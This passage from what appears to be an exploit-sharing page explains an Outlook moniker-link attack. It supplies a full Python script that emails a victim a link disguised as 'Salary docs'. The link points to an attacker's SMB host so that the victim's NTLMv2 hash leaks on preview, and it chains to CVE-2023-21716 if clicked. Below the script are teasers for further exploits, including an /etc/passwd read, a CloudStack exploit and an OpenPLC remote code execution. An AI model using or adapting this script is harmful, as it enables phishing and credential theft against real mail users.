In line 27, you need to specify the path to the file on your server. For the first method, the path itself can be any/without a file, because to verify the NTLMv2 hash, it is enough to preview the attacker’s moniker link in the outlook client.
If the victim clicks on the link, Windows will follow it and download it, and if it is a word document (for example .rtf format), it will immediately open, hello CVE-2023-21716.
Python:
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
def send_email():
# Get user input for sender's email address and password
sender_email = input("Enter your Outlook email address: ")
sender_password = input("Enter your Outlook email password: ")
# Get user input for receiver's email address
receiver_email = input("Enter the recipient's email address: ")
# Create a new message object
msg = MIMEMultipart()
# Add sender, receiver, and subject to the message
msg['From'] = sender_email
msg['To'] = receiver_email
msg['Subject'] = input("Enter email subject: ")
# Ask user if they want to add a link attachment
add_attachment = input("Do you want to add a link attachment? (yes/no): ").lower()
if add_attachment == 'yes':
html_content = """\
<!DOCTYPE html>
<html lang="en">
<body>
<p><a href="file:///\\192.168.206.139/test/Doc.txt!xssvideo">Salary docs</a></p>
</body>
</html>"""
msg.attach(MIMEText(html_content, 'html'))
# Connect to SMTP server and send email
with smtplib.SMTP('smtp-mail.outlook.com', 587) as server:
server.starttls()
server.login(sender_email, sender_password)
server.send_message(msg)
print("Email sent successfully.")
if __name__ == "__main__":
send_email()
By the way, the NTLMv2 hash is sniffed without the user’s participation (you don’t even need to click, just receive an email), who knew that Office Protected View would make do with one! symbol.
More from CVE
Web CVE-2024-40348 Bazaar v1.4.3
POC for CVE-2024-40348 Bazaar v1.4.3 and prior. Will attempt to read /etc/passwd from target. Exploit Bazaar v1.4.3 : """ POC for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated …
Web CVE-2024-41107 in Apache CloudStack
CVE-2024-41107 Exploit This repository contains an exploit for the critical vulnerability identified as CVE-2024-41107 in Apache CloudStack. This vulnerability affects versions 4.5.0 through 4.18.2.1 and 4.19.0.0 …
OpenPLC WebServer V3 authentication RCE Exploit
POC Original packetstormsecurity Python: # Exploit Title: OpenPLC WebServer v3 - Authenticated Remote Code Execution # Google Dork: N/A # Date: 25/04/2021 # Exploit Author: …